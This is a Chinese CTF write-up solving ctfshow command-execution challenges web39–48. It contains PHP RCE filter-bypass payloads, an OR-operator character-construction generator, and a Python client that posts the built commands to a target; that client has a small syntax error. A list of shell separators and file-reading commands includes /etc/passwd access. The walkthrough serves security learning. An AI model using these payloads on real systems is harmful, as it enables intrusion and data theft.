天天看點

ctfshow學習記錄-web入門(指令執行39-48)

目錄

    • web39
    • web40
    • web41
    • web42
    • web43
    • web44
    • web45
    • web46
    • web47
    • web48

web39

解答:​ 不能帶有flag,可以用僞協定

data://text/plain

,

payload:

data://text/plain,<?php system("cat f*");?>

​頁面是空白,要看源碼。

使用data僞協定,執行了輸入的php語句,因為

.php

前面的php語句已經閉合了,是以後面的

.php

會被當成html頁面直接顯示在頁面上。

ctfshow學習記錄-web入門(指令執行39-48)

web40

解答:​ 過濾了很多,但是下面是直接eval執行,可以直接函數執行,過濾了引号等内容,但是其中的括号過濾的是中文全角的

(``)

,而非半角,是以還是可以使用括号的,那麼可以考慮用無參數函數。

(上一篇的web31裡提供了無參數函數的知識點連結)

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

題中還給了另一個解法,使用session:輸入

?c=session_start();system(session_id());

session_start() :啟動新會話或者重用現有會話

session_id() :擷取/設定目前會話 ID

修改PHPSESSID值即可。

ctfshow學習記錄-web入門(指令執行39-48)

web41

解答: 過濾了數字和字母,以及

$、+、-、^、~

使得異或自增和取反構造字元都無法使用,但是沒有過濾或運算符

|

以下腳本來源:csdn部落客yu22x

先php的生成一個rce_or.txt,内容是ascii為0-255對應字元如何通過或運算擷取。(eg:

?=%14|%3f

#從進行異或的字元中排除掉被過濾的,然後在判斷異或得到的字元是否為可見字元
<?php
$myfile = fopen("rce_or.txt", "w");  //打開要寫入的檔案
$contents="";
for ($i=0; $i < 256; $i++) { //ascii碼256個字元
	for ($j=0; $j <256 ; $j++) { 
		if($i<16){//ascii的前16個字元的十六進制應該是01,02,是以在字首加‘0’
			$hex_i='0'.dechex($i);  //dechex(十進制轉換成十六進制)
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //這裡是可以根據題目修改的正則比對條件
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){//如果内容比對上了就輸出為空
					echo "";
    }
  
		else{//對其加上%,轉換成url編碼
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));//對兩者進行異或
		if (ord($c)>=32&ord($c)<=126) {//将異或的結果是可見字元的存入contents中
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);?>
           
ctfshow學習記錄-web入門(指令執行39-48)

python腳本:指令行輸入,python 檔案名.py url位址

import requests
import urllib
from sys import *
#os.system("php or_getfun.php")  #沒有将php寫入環境變量的需手動運作
if(len(argv)!=2)#未傳夠2個參數的,會給提示
   print("="*50)
   print('USER:python exp.py http://65d9abec-9d41-453d-b48d-bf60ef9fe78c.chall.ctf.show/')
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()#逐行讀取檔案
           if t=="":#讀到空,即讀完跳出循環
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]#提取第一個字元串,具體可以看上面我的截圖,如第一行的%00
               s2+=t[6:9]#提取第二個字元串
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)#post傳遞,若是get就get傳遞
   print("\n[*] result:\n"+r.text)
           

web42

解答: 通過換行符,把後面移動到下面。

?c=cat flag.php%0a

web43

解答:​

?c=nl flag.php%0a

還是和上面的一樣的代碼,隻是過濾cat和分号,那麼換其他的讀取指令即可。其實也可以使用反斜杠

\

繞過,因為它過濾的是連續字元串

cat

nl

:将指定的檔案添加行号标注後寫到标準輸出。

web44

解答:​ 過濾了flag,使用通配符

*

繞過。

?c=nl fl*%0a

web45

解答: 增加的空格過濾,繞過即可。具體的繞過的一些方法在上一篇的web31寫了,就不再多寫。

?c=nl$IFS$1fl*%0a

或者:

echo$IFS`tac$IFS*`%0A
           

web46

解答:過濾了

*

沒有辦法通配符繞過,那麼字元繞過還可以使用單引号(成對)、雙引号(成對)、反斜杠和斜杠、$@、可變擴充(

?

)。

反斜杠繞過:

/?c=ca\t<>fla\g.php%0a

或者

nl<fla''g.php||

,使用的是成對的單引号,

||

是利用連接配接符解決後面的

>/del/null 2>&1

連接配接符:

; 	前面的執行完執行後面的 ping 127.0.0.1;whoami 

| 	管道符,顯示後面的執行結果 ping 127.0.0.1|whoami 

||	目前面的執行出錯時執行後面的 ping 1||whoami 

& 	前面的語句為假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami

&&	前面的語句為假則直接出錯,後面的也不執行,前面隻能為真 ping 
           

web47

解答: 隻是增加了幾個讀取指令的過濾,是以上題payload可以繼續用。

web48

解答:上題payload繼續用

在這裡可以把代碼後續的這幾個指令簡單介紹一下。

more、less、head、tail經常被用來在cat被過濾時繞過使用。

linux指令手冊

more:分頁顯示指定的文本檔案内容,從前向後浏覽檔案内容。

less:用于分頁顯示檔案内容。不僅能從前向後,還可以從後向前浏覽檔案内容。

head:顯示檔案開頭的内容,預設為前10行。

sort:對檔案内容進行排序

tail:檢視檔案尾部内容,預設為後10行。

sed:利用文法/腳本對文本檔案進行批量的編輯操作

cut:用于按列提取檔案内容(如以冒号為間隔符,僅提取指定檔案中第一列的内容:cut -d : -f 1 /etc/passwd)

awk:對文本和資料進行處理的程式設計語言

strings:在對象檔案或二進制檔案中查找可列印的字元串。(常用于查找檔案中的flag:strings 檔案名|grep "flag")

od:讀取所給予的檔案的内容,并将其内容以八進制字碼呈現出來。 

curl:在Shell終端界面中基于URL規則進行的檔案傳輸工作,可以利用此指令實作反彈shell。